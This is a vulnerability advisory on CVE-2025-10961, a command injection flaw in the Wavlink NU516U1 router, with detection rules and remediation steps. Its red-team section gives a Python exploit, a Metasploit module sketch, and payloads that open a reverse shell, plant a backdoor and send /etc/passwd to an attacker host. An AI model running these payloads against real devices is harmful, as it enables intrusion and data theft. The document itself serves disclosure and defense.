CVE-2025-10961

Executive Summary

CVE-2025-10961 is a critical command injection vulnerability in the Wavlink NU516U1 router, specifically in firmware version M16U1_V240425. The flaw resides in the /cgi-bin/wireless.cgi endpoint, within the Delete_Mac_list page. By manipulating the delete_list argument, an unauthenticated attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor was contacted but did not respond, leaving the device unpatched. This vulnerability is particularly dangerous due to the lack of authentication required and the high privileges of the web interface process.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). The supply chain risk is limited to the device itself and its users, but no software package dependencies are involved.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full access to device data and network traffic.
• Integrity (I): High – Attacker can modify device configuration and firmware.
• Availability (A): High – Attacker can disrupt device operation or render it unusable.

Threat Level: Critical. The combination of remote exploitation, no authentication, and full system compromise makes this a high-priority threat for any organization using the Wavlink NU516U1.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the sub_4030C0 function within /cgi-bin/wireless.cgi. The delete_list parameter is passed to a system call (likely popen() or system()) without proper sanitization. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The CGI script does not validate or escape user input before passing it to a shell command. The delete_list argument is intended to contain MAC addresses to be removed from a list, but the input is directly concatenated into a command string.

Attack Flow:

1. Attacker sends a POST request to /cgi-bin/wireless.cgi with a crafted delete_list parameter.
2. The CGI script constructs a command like: iwpriv ath0 del_mac <delete_list>.
3. If delete_list contains ; ls, the command becomes: iwpriv ath0 del_mac ; ls, executing ls after the intended command.
4. The output of the injected command is returned in the HTTP response, or the attacker can establish a reverse shell.

Affected Component: The Delete_Mac_list page in the web interface. The function sub_4030C0 is responsible for processing the deletion request.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual C):

void sub_4030C0(char *delete_list) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwpriv ath0 del_mac %s", delete_list);
    system(cmd);
}

Patched Code (Hypothetical):

void sub_4030C0(char *delete_list) {
    // Validate input: only allow MAC address format (e.g., XX:XX:XX:XX:XX:XX)
    if (!is_valid_mac(delete_list)) {
        return;
    }
    // Use execve() to avoid shell interpretation
    char *args[] = {"iwpriv", "ath0", "del_mac", delete_list, NULL};
    execve("/sbin/iwpriv", args, NULL);
}

The patched version would validate the input format and use execve() instead of system() to prevent shell injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Wavlink NU516U1 with firmware M16U1_V240425.
• Network access to the device's web interface (typically port 80 or 443).

Exploit Code (Python):

import requests

target = "http://192.168.1.1"
payload = "; id"

url = f"{target}/cgi-bin/wireless.cgi"
data = {"delete_list": payload}

response = requests.post(url, data=data)
print(response.text)

Explanation: The payload ; id will execute the id command after the intended iwpriv command. The output of id will be included in the HTTP response.

Advanced Payloads:

• Reverse shell: ; nc -e /bin/sh attacker_ip 4444
• Persistent backdoor: ; echo 'netcat -e /bin/sh -l -p 4444' > /etc/init.d/backdoor
• Data exfiltration: ; curl http://attacker_ip/$(cat /etc/passwd)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Wavlink NU516U1 Command Injection',
      'Description' => 'Command injection in delete_list parameter',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2025-10961']],
      'Platform'    => 'linux',
      'Targets'     => [['Automatic', {}]],
      'Payload'     => {'BadChars' => "\x00"},
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/cgi-bin/wireless.cgi',
      'data'   => "delete_list=;#{payload.encoded}"
    })
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/wireless.cgi with suspicious delete_list parameters containing shell metacharacters (;, |, &, $, `).
• Look for outbound connections from the device to unusual IPs (reverse shell attempts).
• Check for unexpected processes running on the device (e.g., nc, bash).

Hardening:

• Immediate: Disable remote management and restrict access to the web interface to trusted IPs only.
• Firmware: Replace the device with a patched model or apply a vendor patch if available.
• Network Segmentation: Place the device on an isolated VLAN with no internet access.
• IDS/IPS: Deploy rules to block requests with shell metacharacters in the delete_list parameter.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/wireless.cgi with delete_list containing ;, |, &&, or other shell metacharacters.
• Outbound connections from the device to IPs on non-standard ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs:

• Unexpected files in /tmp/ or /var/ (e.g., backdoor.sh).
• Running processes: nc, bash, python, perl (if not normally present).
• Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• Unusual entries in /etc/init.d/ or /etc/cron.d/.

Log IOCs:

• Web server logs showing POST /cgi-bin/wireless.cgi with delete_list containing shell metacharacters.
• System logs showing execution of unexpected commands (e.g., id, whoami).

Detection Engineering

YARA Rule

rule CVE_2025_10961_Wavlink_Command_Injection {
    meta:
        description = "Detects command injection attempts against Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10961"
    strings:
        $s1 = "delete_list=" ascii nocase
        $s2 = ";" ascii
        $s3 = "|" ascii
        $s4 = "`" ascii
        $s5 = "$(" ascii
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: Wavlink NU516U1 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with shell metacharacters in delete_list parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/wireless.cgi'
        cs-uri-query|contains: 'delete_list='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate MAC addresses containing colons (:) are not false positives for shell metacharacters.
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-10961 Wavlink Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/wireless.cgi"; http_uri; content:"delete_list="; http_client_body; pcre:"/(;|\||`|\$\().*$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the Wavlink NU516U1 from the internet and place it on a separate VLAN.
2. Disable remote management: If possible, disable the web interface or restrict access to local network only.
3. Monitor for exploitation: Check logs for the IOCs listed above.

Long-Term Fix:

• Vendor Patch: Since the vendor is unresponsive, no official patch exists. Consider replacing the device with a supported model.
• Custom Firmware: If technically feasible, flash an open-source firmware (e.g., OpenWrt) that does not contain this vulnerability.
• Network Segmentation: Ensure that any vulnerable devices are not accessible from untrusted networks.

Workaround:

• Use a reverse proxy or WAF to filter requests to /cgi-bin/wireless.cgi and block any delete_list parameter containing shell metacharacters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert